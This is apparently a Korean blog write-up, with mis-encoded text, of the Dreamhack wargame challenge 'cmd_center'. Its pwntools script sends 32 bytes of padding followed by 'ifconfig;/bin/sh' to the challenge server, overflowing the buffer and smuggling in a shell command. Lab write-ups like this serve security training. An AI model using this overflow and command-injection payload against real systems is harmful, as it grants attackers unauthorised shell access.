๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ

SECURITY/CTF

[dreamhack - wargame] pwn : cmd_center

https://dreamhack.io/wargame/challenges/117

 

cmd_center

Description IP๋ฅผ ํ™•์ธํ•  ํ•„์š”๊ฐ€ ์—†์Šต๋‹ˆ๋‹ค! ํ˜น์‹œ ๋‹ค๋ฅธ ๋ช…๋ น์–ด๋Š” ๋ชป์“ฐ๋‚˜์š”? ๋‹ค๋ฅธ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ–ˆ๋‹ค๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“ํ•˜์„ธ์š”! References https://dreamhack.io/learn/2/1#3 https://dreamhack.io/learn/2/14#3

dreamhack.io

 

pwntool์„ ์‚ฌ์šฉํ•˜์—ฌ ์ž‘์„ฑํ•œ ์ฝ”๋“œ

from pwn import *

p = remote('host1.dreamhack.games', 20621)		// ์ ‘์†

p.sendline("asdfasdfasdfasdfasdfasdfasdfasdfifconfig;/bin/sh")	// 32bit dummy + ๋ช…๋ น์–ด ์กฐ์ž‘
p.interactive()

 

์ฝ”๋“œ ์‹คํ–‰ํ™”๋ฉด

 

 

 

'SECURITY > CTF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€